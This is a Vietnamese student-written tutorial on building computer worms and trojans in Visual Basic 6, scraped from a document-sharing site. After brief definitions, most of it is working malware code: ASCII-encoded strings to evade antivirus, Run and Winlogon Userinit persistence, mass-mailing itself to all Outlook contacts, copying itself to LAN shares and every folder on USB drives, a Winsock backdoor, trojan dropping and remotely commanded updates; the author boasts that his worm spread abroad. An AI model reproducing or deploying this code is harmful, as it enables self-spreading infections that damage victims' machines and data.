Tải bản đầy đủ (.doc) (20 trang)

DE HIEU THEM VE VIRUTSCACH TAO VIRURS VIRUTS

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (300.73 KB, 20 trang )

<span class='text_page_counter'>(1)</span><div class='page_container' data-page=1>

<b>Virus toàn tập</b>



Tác giả: Bảo Ngọc Chi Lâm Dũng Lớp 12 A1 - Trường THPT Nam Đàn I , Năm Học 2008 - 2009
<b>Lý do :</b>


Tài liệu cuối cùng trong cấp III (Lần này thì chính xác 100%)

<b>I. ABC - Định nghĩa :</b>



Rất nhiều tài liệu đã định nghĩa về Virus ở đây Dũng còi sẽ đưa lại phần định nghĩa từ Lạc Việt :


Mợt chương trình máy tính được thiết kế dưới dạng mợt trị chơi khăm, hoặc một sự phá hoại ngầm, có thể tự lây lan
bằng cách gắn vào các chương trình khác và tiến hành các thao tác vơ ích, vơ nghĩa, đơi khi là thao tác phá hoại. Khi một
vi rút nhiễm vào đĩa, nó tự lây lan bằng cách gắn vào các chương trình khác trong hệ thống, kể cả phần mềm hệ thống.
Giống như vi rút ở người, tác hại của vi rút máy tính có thể chưa phát hiện được trong thời gian vài ngày hay vài tuần.
Trong thời gian đó mọi đĩa đưa vào hệ máy đều mang theo một bản sao ẩn của vi rút đó - các đĩa này đều bị nhiễm vi rút.
Khi vi rút phát tác, chúng gây ra nhiều hậu quả : từ những thông báo bậy bạ đến những tác động làm lệch lạc khả năng
thực hiện của phần mềm hệ thống, hoặc xóa sạch mọi thông tin trên đĩa cứng. Không phải bao giờ thông báo bậy bạ cũng
do vi rút gây ra.


Okie, thật đơn giản Virus = Mợt chương trình -> Khơng phải là mợt gì đó q phức tạp hay khó khăn ở đây để
viết một con virus cả (Có rất nhiều người, kể cả Dũng còi trước đây đã nghĩ ngược lại).


<b>II. Phân tích :</b>



Nên phân biệt cho rõ virus, worm, trojan, adware ... nhé các bạn


Bạn nên chú ý phân biệt từ virus (Nói chung) là bao gồm cả worm, Trojan... với virus (Nói riêng) là tên cụ thể
của mợt con virus.


<b>Virus: Là mợt chương trình đúng như định nghĩa về virus (Nói chung), tuy nhiên nó hoạt động chủ yếu là lây </b>
nhiễm trực tiếp vào file đối tượng.



Ví dụ :


Cụ thể là chèn bản thân nó vào file .exe với những vị trí thích hợp (Các virus thông thường chèn vào cuối file
sau đó thêm một vài lệnh ở đoạn Byte đầu file để thực hiện lệnh “Nhảy” từ đoạn mã này tới đoạn code virus)
Mợt vài con virus Dũng cịi đã nhận thấy việc nó chèn tồn bợ nó vào đoạn đầu của chương trình (Chương trình
gốc sẽ ở phía sau đoạn Byte này). Nó cũng tự động sửa đổi Icon sao cho giống file gốc.


Làm việc :


Phần lớn virus chỉ làm việc khi bị kích hoạt vào file đã bị lây nhiễm (Tiếp tục thao tác lây nhiễm) sau đó sẽ trả
lại quyền làm việc lại cho chương trình ban đầu)


Tuy nhiên, cũng theo Dũng cịi nhận thấy, có mợt vài (Không nhiều) đã tự động “Tách tốp” thành một file riêng
rồi làm việc ở chế độ thường trực (Loại này đã “Lai” với worm)


Tác hại :


Trong tất cả các loại virus (nói chung) thì Dũng cịi ớn thằng này nhất vì nếu mấy loại kia (Worm,Trojan...) cịn
để mà diệt chứ cịn loại này thì phải “Mổ” file “Dính chưởng” sau đó thực hiện việc tách các đọan Byte riêng
biệt mới cứu được phần data bị nhiễm (Nếu con virus nó mà mã hóa phần này thì pó tay)


Rõ ràng ấy việc mà cái loại này gây ra sẽ chiếm dung lượng không nhỏ của ổ đĩa nơi lưu trữ chúng (Thơng
thường khi 1 PC nhiễm Virus thì kéo theo sẽ có rất nhiều file trong đó bị lây lan)


Qúa trình thực thi file (Khi file đó bị nhiễm) sẽ chậm hơn bình thường (Khó nhận ra cái này lắm)


Nhiều thằng lập trình viên nó ngồi code ẩu, làm mất một vài byte của file gốc hay lẫn lộn cái chi đó => Dữ liệu
ban đầu coi như hư sạch (Ít xảy ra nhưng vẫn có)



</div>
<span class='text_page_counter'>(2)</span><div class='page_container' data-page=2>

Đây chính là loại virus (Nói chung) nhiều nhất.
Làm việc :


Không có chi hiểu hay phức tạp ở loại này cả. Một con Worm có các “Công việc” cơ bản sau (Các công việc mà
hầu như con sâu nào cũng phải làm)


1. Tự sao chép vào các thư mục của hệ thống (Worm muốn “Sống lâu” luôn luôn làm thao tác này)


2. Ghi thông tin khởi động vào hệ thống (Ghi thông tin vào hệ thống để khi hệ thống khởi đợng vào lần sau thì
vẫn cịn được “Làm việc”) : Thao tác này thông thường là ghi một Key trong Regedit, tạo một file đặc biệt với
cấu trúc có sẵn (Sẽ nêu rõ ở phần sau), hay là tự sao chép vào những vị trí đặc biệt mà hệ điều hành sẽ tự load
nó khi khởi động (Có không nhiều file có “Vinh dự” được hệ điều hành load khi khởi động)


3. Thao tác lây truyền : Công việc này thông thường là worm “Nằm chờ” khi thỏa điều kiện nào đó sẽ tiến hành
lây lan (Như việc khi nào thấy có ổ đĩa USB là “Lây”).


Cịn sau đây là mợt số cơng việc mà một số worm vẫn làm (Dù không nhiều lắm) :
1. KeyLog : Ok, ghi lại bàn phím (Uí chà, không hề khó với mức đơn giản đâu)
2. BackDoor (Mở cử hậu) : Dù cái này “Cổ lỗ sĩ” lắm rồi nhưng vẫn cịn đó.


3. Bom hẹn giờ : Mợt số lập trình dziên dzui tính, cứ tới “Ngày lành tháng tốt” hay “Giờ lành” là cho con worm
“Làm dziệc”. (Nguyên tắc “Bom hẹn giờ”)


4. Bát nháo một chút nào : Một chút “Tưng tưng” cho “Vui nhà vui cửa” đó là những gì mà mấy lập trình dziên
dzui tính (Như Dũng cịi) hay làm với con worm của mình.


Tác hại :


Ngốn RAM hệ thống : Ln ln



Ngốn đường truyền net (Nếu con worm đó “Sài” net)


<b>Trojan : Okie, thỏa mãn định nghĩa virus nè, cộng thêm phần này nữa. Nó không tự lây lan mà nó ẩn trong mợt</b>
chương trình có ích hay là mợt cái gì đó “Hay hay”, tuy nhiên trong đó lại chứa một cái gì đó “Hổng có hay”
Nên nhớ Trojan khác với virus, bởi vì Trojan là bản thân chương trình ban đầu là “Có vấn đề” cịn virus thì cái
ban đầu “Vơ tợi” (File nạn nhân ban đầu hồn tồn khơng dính gì đến virus)


Làm việc :


Trojan thơng thường có 2 cách làm việc :


1. Thực hiện trực tiếp các cơng việc “Bất chính” khi bạn kích hoạt nó.


2. Tự động “Thả” một con “Nằm vùng” trong PC của bạn sau đó kích hoạt con này (Đây là cách thường thấy).
Cái đằng sau này mới “Làm việc” nè.


Công việc thường thấy của Trojan là mở của hậu (Backdoor : Nói cho dễ hiểu là mở một cổng để chờ tín hiệu từ
server, hoặc kết nối trực tiếp với server của người điều khiển).


Tuy nhiên nói là vậy thui chứ thể loại này thì ta làm gì mà chẳng được (Thả worm, adware, spyware...) vô tư đi
em.


Tác hại :


Có mợt điều trớ trêu là Trojan thường chính là mấy cái soft dành cho bọn tự gọi mình là “Hacker” (Hổng biết có
phải dzậy khơng nữa, vì mấy cái soft này thì theo Dũng cịi “Kiểm định” thì phần đơng đều là Trojan). Một số
khác là các phần mềm Free (Ui chao đau đớn làm sao).


<b>III. Viết thử coi nhá :</b>




<b>(Trong giới hạn của mình, Dũng chỉ có thể hướng dẫn về Worm và Trojan)</b>
Chà viết virus có dễ khơng nhỉ ?


chà, dễ ịm. Khơng tin à, nhìn thử coi.
<b>1. Bảo mật dữ liệu dạng String :</b>


Như Dũng cịi đã từng phân tích, việc để “Lịi” ra dữ liệu dạng này là một khiếm khuyến của một số phần mềm
(Dũng cịi đã từng lấy thành cơng PassWord của data (Làm bằng Access) của một phần mềm khá độ sộ (Quên
tên mất tiêu rùi) chỉ bằng cách sài Notepad truy tìm các hàm truy vấn SQL trong chuỗi Byte)


Với một con virus (Nói chung) nếu để lộ ra các đoạn string này thì đúng là mợt thảm họa (Các AV sẽ ngay lập
tức “Túm cổ” nó khi phân tích, người dùng sẽ dễ dàng làm “Thịt” virus của bạn).


</div>
<span class='text_page_counter'>(3)</span><div class='page_container' data-page=3>

Đơn giản thay vì chúng ta giữ nguyên cả chuỗi String trong chương trình thì chúng ta sẽ phân tích từng Byte
trong chuỗi đó theo một nguyên tắc nhất định sau đó “Ráp lại” :


Ví dụ : Dùng cách quy đổi ra theo bảng mã Ascii :


“DungCoi”= Chr(68)+Chr(117)+Chr(110)+Chr(103)+Chr(67)+Chr(111)+Chr(105)


Đoạn code để phân tích ra từng Byte rất đơn giản bằng hàm Chr (Nếu nhác quá thì tải Source RealWorm sau đó
vơ thư mục Soft mà tìm cái Ascii Dũng đã viết sẵn)


<b>2. Tạo key khởi động :</b>


Các bạn nên chú ý với phương pháp ghi key bằng kiểu
Set reg = CreateObject("WScript.Shell")


reg.regwrite "HKEY_LOCAL_MAHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start", App.Path + "\" + App.EXEName
+ ".exe"



Sẽ bị gần như tất cả các AV phát hiện -> Dù đơn giản như không nên sài


Phần này Dũng sẽ trích lại từ mợt bài viết trước đây :
‘=========================================

<b>I.1. Khởi động hợp pháp :</b>



- Khởi đợng theo cách “Chính quy”. Có nghĩa là nó hồn tồn “Hợp pháp” theo ch̉n mực của


mợt phần mềm thông thường (Cách này worm,Trojan cũng thường sài )



Có 3 phương thức như sau :



<b>I.1.a Ghi Key trong Regedit theo các địa chỉ sau :</b>



HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


HKCU\Software\Microsoft\Windows\CurrentVersion\Run



<b>Code :</b>


Module :
Option Explicit


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long


Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As
String, phkResult As Long) As Long


Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal


lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As
Long



Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal
lpValueName As String) As Long


Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_BINARY = 3 ' Free form binary
Public Const HKEY_CURRENT_USER = &H80000001


Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret


RegCreateKey hKey, strPath, Ret


RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret


End Sub


Sub DelSetting(hKey As Long, strPath As String, strValue As String)
Dim Ret


RegCreateKey hKey, strPath, Ret
RegDeleteValue Ret, strValue
RegCloseKey Ret


End Sub


Form :


</div>
<span class='text_page_counter'>(4)</span><div class='page_container' data-page=4>

Private Sub Form_Load()


If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else


AppVirus = App.Path + App.exename + (“.exe”)
End If


SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi", AppVirus
‘ DelSetting HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi" ‘Thao tác xóa
Key


End Sub


‘Chú ý : Phần DungCoi ở đây là Tên Key
‘ Phần AppVirus là đường dẫn File của bạn


<b>I.1.b Phương pháp sử dụng thư mục khởi động : </b>



C:\Documents and Settings\

<b>DungCoi</b>

\Start Menu\Programs\Startup



<b>DungCoi</b>

= Tên sử dụng trong hệ thống



<b>I.1.c Phương pháp sử dụng các tập tin đặc biệt :</b>



Có một số tập tin mà khi ghi thông tin với 1 cấu trúc nhất định thì nó sẽ khởi đợng chương trình chúng ta mong
muốn khi khởi đợng hệ thống như (Win.ini System.ini)


Thui cái này lên quantrimang.com mà đọc
<b>I.1. Khởi động bất hợp pháp :</b>



- Việc nó không theo các “Quy định” từ trước khiến nó ít người phát hiện ra và thậm chí cả MSCONFIG cũng
ko thể nhận ra.


- Tuy nhiên, cần chú ý là nếu các bạn chưa hiểu hết công việc của các Key trong phần này thì ko nên đụng tới
(Nếu ẩu có thể làm hệ điều hành khởi động không được)


- À, cần nhắc thêm. Do đây là những phương pháp tác động sâu vào hệ thống nên rất nguy hiểm nếu không hiểu
hết bản chất của chúng.


<b>Sửa đổi Key trong Regedit : </b>


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

<b>Code : (Code mẫu với Key </b>

<b> Userinit</b>

<b> ) </b>



Ban chú ý là phương pháp này cho phép chương trình của chúng ta được khởi đợng ngay trong chế độ Safe
Mode (Rất đáng nể đấy)


Module :
Option Explicit


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" _


Alias "RegCreateKeyA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long



Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" ( _


ByVal hKey As Long, _


ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _


</div>
<span class='text_page_counter'>(5)</span><div class='page_container' data-page=5>

Public Const REG_SZ = 1
Public Const REG_BINARY = 3


Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002


Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret


RegCreateKey hKey, strPath, Ret


RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret


End Sub
Form :


Dim AppVirus As String
Dim PathExp As String
Private Sub Form_Load()



PathExp = “C:\Windows\explorer.exe”
If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else


AppVirus = App.Path + App.exename + (“.exe”)
End If


Shell PathExp


SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”,
“Userinit”, AppVirus


End Sub


‘Phần AppVirus là đường dẫn File của bạn


‘Câu lệnh Shell PathExp là rất cần thiết (Không tin xóa nó và chạy thử đi)


<b>Chú ý : </b>

Đoạn code chỉ có giá trị khi chương trình đã biên dịch (Tuyệt đối không chạy thử khi


chưa biên dịch, phải biên dịch ra rồi mới được chạy thử)



Muốn thấy hiệu quả thì cứ chạy File đã biên dịch ấy, rồi khởi động lại thấy kết quả liền.


Với kỹ thuật này thì chương trình của chúng ta sẽ được khởi động ngay cả trong Safe Mode.


<b>3. Lây nhiễm :</b>


Yeah, đây là mợt trong những thao tác địi hỏi rất nhiều “Sáng tạo” đó nha.
<b>a. Email nhé :</b>



Nguyên tắc cơ bản đó là sử dụng OE (Outlook Explorer) có sẵn và các thông tin từ OE để khai thác và gửi
email tới đối tượng kế tiếp. Tuy nhiên các này khá là lâu đời nên hiện nay không còn mấy ai sài cả (Cứ tham
khảo như vui nhé)


Dim AppVirus As String
If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else


AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If


Set go = CreateObject(fgo)


</div>
<span class='text_page_counter'>(6)</span><div class='page_container' data-page=6>

‘Các bạn chú ý : Tất cả các dữ liệu ở dạng String ở trên đều được Dũng còi qua ra mã Ascii để trách AV dễ dàng phát hiện
Set MAPI = out.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73))


Set a = MAPI.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = St.CreateItem(0)


Mail.To = St.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)).AddressLists(1).AddressEntries(X)
Mail.Subject = “Tên nợi dung Mail” ‘Ví dụ : Anh Dũng còi đẹp giai nhức làng


Mail.Body = “Nợi dung email” ‘Ví dụ : Coi hình người iu Dũng cịi nè
Mail.Attachments.Add = AppVirus ‘Đây là phần file đính kèm


Mail.Send


Next
St.Quit


<b>b. LAN tại sao không ?</b>


Lây truyền trong mạng LAN về cơ bản gồm 2 thao tác :


1. Xác định các thư mục trong chế độ Share full (Cho phép sửa đổi)
2. Thực hiện thao tác Copy


Trong bước 2 thì khơng có gì đáng nói (FileCopy).


Cái khó là ở thao tác thứ nhất, trong q trình “Nghiên kíu” Dũng cịi đã tìm ra 3 phương thức cơ bản
1. Sài hàm API để xác định thư mục Share


2. Sài một công cụ trung gian của Windows là mấy cái lệnh hỗ trợ sẵn của hệ điều hành.
3. Dùng cách đọc loạt key trong regedit


Cách số 1 khó quá, Dũng còi chỉ biết là có thể chứ làm ứ ra
Dũng còi chỉ có thể trình bày 2 cách sau :


<b>1. Command :</b>


Nguyên tắc của cách này là kêu hệ điều hành làm theo cái lệnh kia (Tìm và ghi các đường dẫn thư mục Share
Full vào 1 tập tin). Sau đó tiến hành đọc tập tin này và thực hiện thao tác copy.


Dim AppVirus As String
If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))


Else


AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If


Dim ishell


Set ishell = CreateObject("wscript.shell")


ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True
Set fso = CreateObject("scripting.filesystemobject")


Set rd = fso.opentextfile("C:\plog.tmp")
nbuff = 0


Do While rd.AtEndOfStream <> True
nbuff = rd.readline


If Left(nbuff, 2) = "\\" Then


ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:\clog.tmp", 0, True


Set rdd = fso.opentextfile("C:\clog.tmp")
buff = ""


</div>
<span class='text_page_counter'>(7)</span><div class='page_container' data-page=7>

combuff = Right(Trim(buff), 4)
If Right(combuff, 4) = "Disk" Then
buffadd = Left(buff, 13)



If Len(Trim(buffadd)) > 0 Then


sharename = a & Trim(Left(nbuff, 21)) & "\" & Trim(buffadd) & a
FileCopy AppVirus, sharename & "\" & appl & ".exe"


End If
End If
Loop
End If
Loop


<b>Chú ý : Hầu hết các AV đã chặn cách này, tuy nhiên cách này làm việc rất tuyệt vời (Liệt kê khá hoàn hảo)</b>
<b>2. Regedit :</b>


Nguyên tắc cách này là thực hiện thao tác đọc hàng loạt Key trong Regedit (Các thông số do hệ điều hành tự ghi
nhận từ trước)


Dim AppVirus As String
If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else


AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If


Const HKCU = &H80000001
Dim ObjFS


Set ObjFS = CreateObject("Scripting.FileSystemObject")


Set ObjReg = GetObject("winmgmts:\\.\root\" & _


"Default:StdRegProv")


strKeyPath = "SOFTWARE\Microsoft\Windows\" & _
"CurrentVersion\Explorer\WorkgroupCrawler\Shares"
ObjReg.EnumKey HKCU, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys


ObjFS.CopyFile AppVirus,"\\" & subKey & "/dungcoi.exe" , True ‘Có thể dùng hàm FileCopy thay cho việc dùng hàm
này


Next


<b>Chú ý : Cách này liệt kê không tốt bằng cách ở trên nhưng hầu hết các AV không chặn lại.</b>
<b>c. USB = Mốt :</b>


Flashy là con worm lây lan mạnh nhất Việt Nam trong tháng 1/2007 vậy mà cũng chỉ có vỏn vẹn mợt tính năng
này và tính năng ghi một Key trong Regedit mà thui (Hic hic, do sinh sau đẻ ṃn và cũng do Dũng cịi khơng
muốn phát tán nên con RealWorm (Với trên do mấy ông Bkis cập nhật là DakNong) chỉ xếp vị trí thứ 8 hà buồn
thiệt nha híc híc)


Con worm dungcoi do vơ tình để “Xổng chuồng” (Hồi đó là do tai nạn mà để nó lọt ra ngoài). Mà giờ nó lây
tuốt luốt bên Campuchia (Phải tốn 2 tuần để kiểm định thơng tin này đó), cịn ở trong nước thì hổng rõ nó đi tới
đâu ùi.


Dù nó lợi hại là vậy nhưng thực ra tính năng này rất đơn giản và dễ làm.
Hồi trước khi nghiên cứu tính năng này Dũng cịi đã chia ra các cơng việc sau :
1. Tìm ổ đĩa USB (Xem có tồn tại không)



- Liệt kê tất cả ổ đĩa


- Kiểm tra xem trong các ổ đĩa đó, ổ đĩa nào là đĩa giao tiếp qua USB (Loại đĩa rời và khác đĩa mềm)
2. Tìm tồn bợ thư mục (Lây vơ hết ln cho vui)


3. FileCopy (Qúa đơn giản)


</div>
<span class='text_page_counter'>(8)</span><div class='page_container' data-page=8>

‘Code boi Dung Coi


‘Email :
Private Sub Form_Load()
Dim AppVirus As String
If Len(App.Path) <> 3 Then


AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else


AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If


Dim d, dc
Dim fso, cf


Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives


For Each d In dc


If (d.DriveType = 1) And (UCase(Left(d, 1)) <> "A") Then
Set cf = fso.GetFolder(d).subfolders



For Each fil In cf


If TonTai(fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))) = False Then FileCopy
AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))


TimThuMuc (fil.Path)
Next


End If
Next
End Sub


‘=====================================
Private Sub TimThuMuc(ThuMuc As String)
‘Thao tác tìm thư mục


Dim fso, cf, fil, ext


Set fso = CreateObject((Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) +
Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) +
Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116)))


'Scripting.FileSystemObject


Set cf = fso.GetFolder(ThuMuc).subfolders
For Each fil In cf


FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))
TimThuMuc (fil.Path)



Next
End Sub


‘=====================================
Private Function TonTai(filename) As Boolean
‘Kiểm tra sự tồn tại của File


On Error GoTo ErrorHandler
TonTai = (Dir(filename) <> "")
Exit Function


ErrorHandler:
TonTai = False
End Function


<b>d. BackDoor (Mở cửa hậu):</b>


Chán chết, đang ngồi “Mổ cị” thì PC nó “Sinh sự” làm mất luôn phần bài viết về BackDoor nên ứ them gõ lại
nữa mệt quá, nói sơ qua phần này thui :


BackDoor : Kỹ thuật mở cổng hoặc kết nối trực tiếp tới một PC khác, sau đó từ Server đó sẽ có quyền làm mọi
thứ trên PC nạn nhân (Victim). Như vậy về cơ bản ở đây là sự kết nối giữa 2 PC với nhau.


</div>
<span class='text_page_counter'>(9)</span><div class='page_container' data-page=9>

- Việc kết nối 2 PC thông thường sài 1 Control trung gian, hoặc nếu tự viết cái đó thì sẽ ngốn dung lượng worm
rất lớn. Cả 2 điều này đều trái với nguyên tắc viết worm thông thường (Phải sử dụng thêm 1 Control làm tăng
khả năng phát sinh lỗi thiếu thư viện, dung lượng cao tức là kém linh hoạt)


- Số lượng worm có thể quá lớn để từ 1 server mà thằng cha viết con worm ngồi “Nghiên kíu” cho hết.



- Việc sử dụng kỹ thuật này rất nguy hiểm cho worm (sẽ bị các FireWall phát hiện và chặn lại ngay).. Như vậy
hồn tồn khơng thích thú gì cho lập trình viên viết ra nó (Worm).


- Thế mạnh của Trojan là có thể đáng “Trúng mục tiêu” nhất định (Trojan không lây lan à nha).


Trong bài viết này Dũng còi chỉ hướng dẫn cơ bản về cách kết nối 2 PC (Nếu bạn muốn nghiên cứu kỹ hơn thì
có thể lên www.quantrimang.com để đọc một bài viết rất hay về chủ đề này) :


<b>Nguyên tắc :</b>


Vấn đề trong bài này sẽ giúp bạn giải quyết đó là việc kết nối 2 PC với nhau bằng cách dùng Winsock.


Việc này rất đơn giản, bạn chỉ cần tạo 2 Control Winsock tại 2 phần Clinet-Server (Máy khác-Máy chủ) và làm
cho chúng có thể liên lạc với nhau.


<b>Thực hiện :</b>


<b>Bước 1 :</b> Tạo một dự án mới


Trong bước này bạn ấn chọn <b>Standard EXE</b>
<b>Bước 2 :</b> Thêm Control Winsock


Để thực hiện thao tác này bạn chọn theo thực đơn <b>Project -> </b>
<b>Components...</b> (Hoặc nhắn tổ hợp phím <b>Ctrl+T</b> )


Sau khi hiển thị hộp thoại bạn chịn Tab <b>Controls </b>(Mặc định đã là Tab này), bạn tìm tên <b>Microsoft Winsock </b>
<b>Control 6.0</b> và đánh dấu chọn rồi nhấn chọn <b>OK</b>.


<b>Bước 3 :</b>



Hãy vẽ các Control theo hình sau (Khơng cần phải thay đổi tḥc tính Name)


<b>Bước 4 :</b>


Nhập mã lệnh cho chương trình


Trong cử sổ lệnh bạn nhập đoạn code sau :


Private Sub Command1_Click()
Winsock2.Close


‘Đóng tất cả kết nối hiện tại của Winsock (Nếu có)
Winsock2.Connect “127.0.0.1”, 1234


‘Kết nối tới số IP 127.0.0.1 với cổng là 1234
End Sub


</div>
<span class='text_page_counter'>(10)</span><div class='page_container' data-page=10>

‘Gửi gói dữ liệu với nội dung của TextBox
End Sub


Private Sub Form_Load()
Winsock1.LocalPort = 1234


‘Cổng nhận dữ liệu
Winsock1.Listen


‘Bắt đầu đọc dữ liệu từ cổng đã xác lập ở trên
End Sub


Private Sub Winsock1_ConnectionRequest(ByVal requested As Long)


‘Biến cố ghi nhận kết nối


Winsock1.Close
‘Đóng các kết nối
Winsock1.Accept requested


‘Chấp nhận kết nối với nơi gửi lệnh kết nối
MsgBox “Da ket noi thanh cong”


‘Thông báo đã hoàn thành kết nối
End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
‘Biến cố ghi nhận dữ liệu


Dim data As String


‘Khai báo biến lưu trữ gói tin nhận được
Winsock1.GetData data


‘Ghi dữ liệu nhận được vào biến
MsgBox data


‘Thông báo gói dữ liệu
End Sub


<b>e. Kỹ thuật chèn Trojan :</b>


Như đã định nghĩa về Trojan, trong 2 kỹ thuật “Thả “ những thứ đen tối của Trojan thì có kỹ thuật 2 là kỹ thuật
đáng nói (Kỹ thuật 1 thì khỏi cần nói rồi).



Kỹ thuật này là kỹ thuật trích xuất Trojan từ soft
Về cơ bản có 3 cách làm như sau :


1. Tải chương trình muốn kích hoạt chạy từ mợt URL sau đó kích hoạt chúng
2. Chèn file đó vào cuối chương trình, sau đó thao tác xử lý file


3. Tiến hành “Nhốt” Trojan vào Resource (Với VB6). Sau đó trích xuất chúng ra.


Trong các cách trên thì có kỹ thuật thứ 3 là kỹ thuật đơn giản nhất nên Dũng còi sẽ hướng dẫn kỹ thuật này (Chỉ
áp dụng cho ứng dụng bạn viết thui nha) :


1. Tạo một Resource chứa trojan
2. Tạo Module chứa đoạn code sau :
Public Enum AppResource


appresBLANK_MDB = 101
appresMY_DAUGHTER = 102
appresNT_LOGON_SOUND = 103
appresMY_WIFE = 104


End Enum



'---' Author: Clint M. LaFever []
' Purpose: Extracts a file from the resource file and save
' the file to the destination passed in.


' Date: October,18 1999 @ 11:45:53





'---Public Function TaoFile(destFILE As String, resID As AppResource, Optional resTITLE As String = "CUSTOM") As
String


On Error GoTo ErrorBuildFileFromResource
Dim resBYTE() As Byte


</div>
<span class='text_page_counter'>(11)</span><div class='page_container' data-page=11>

Put #1, , resBYTE
Close #1


BuildFileFromResource = destFILE
Exit Function


ErrorBuildFileFromResource:
Exit Function


End Function


3. Trong form chính gõ đoạn code sử dụng cái Function trên để trích xuất và Shell chúng.
Okie, quá đơn giản (Lười quá nên Dũng còi nói sơ qua vậy thui hà)


<b>f. Kỹ thuật viết những con worm “Nghe lời” :</b>


Để một con sâu có thể tự động cập nhật phiên bản mới, thay đổi những thông điệp để lây truyền qua Y!M, hay
là bắt mấy con sâu (Trên máy tính nạn nhân) phải làm mợt số việc nào đó mà chúng ta muốn (Tất nhiên cần
phải thiết kế sẵn tính năng này). Chúng ta sẽ phải sử dụng một kỹ thuật cực kỳ thú vị.


Các bạn trách nhầm lẫn với kỹ thuật BackDoor “Cổ truyền” nha, kỹ thuật này dựa vào khả năng Download và
phần tích lệnh để điều khiển tồn bợ worm.



Ngun tắc :


Thực hiện việc download file nài đó (URL này cố định) về máy tính nạn nhân. Sau đó tiến hành phân tích và sử
lý cơng việc theo u cầu người viết.


<b>Code </b>(Đây chỉ là code mẫu của Control Download, còn source mẫu bạn có thể xem source RealWorm)
‘Programmed by David Nedved (Neddy)


Option Explicit


Public Event Progress(DownLoadedBytes As Long, TotalBytes As Long, sID As String)
Public Event Completed(Bytes As Long, sID As String)


Private colDest As New Collection


Public Sub Download(sWWWFile As String, sDestination As String, Optional sID As String = "Id")
On Error Resume Next


colDest.Add sDestination, sID


UserControl.AsyncRead sWWWFile, vbAsyncTypeFile, sID, vbAsyncReadForceUpdate
End Sub


Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty)
On Error Resume Next


Name AsyncProp.Value As colDest.Item(AsyncProp.PropertyName)
colDest.Remove AsyncProp.PropertyName



RaiseEvent Completed(AsyncProp.BytesRead, AsyncProp.PropertyName)
End Sub


Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty)


RaiseEvent Progress(AsyncProp.BytesRead, AsyncProp.BytesMax, AsyncProp.PropertyName)
End Sub


Public Sub CancelDownload(Optional sID As String = "Id")
UserControl.CancelAsyncRead sID


End Sub


Private Sub UserControl_Resize()
UserControl.Height = "495"
UserControl.Width = "495"
End Sub


<b>g. Kỹ thuật tạo quyền điều khiển bất tử :</b>


</div>
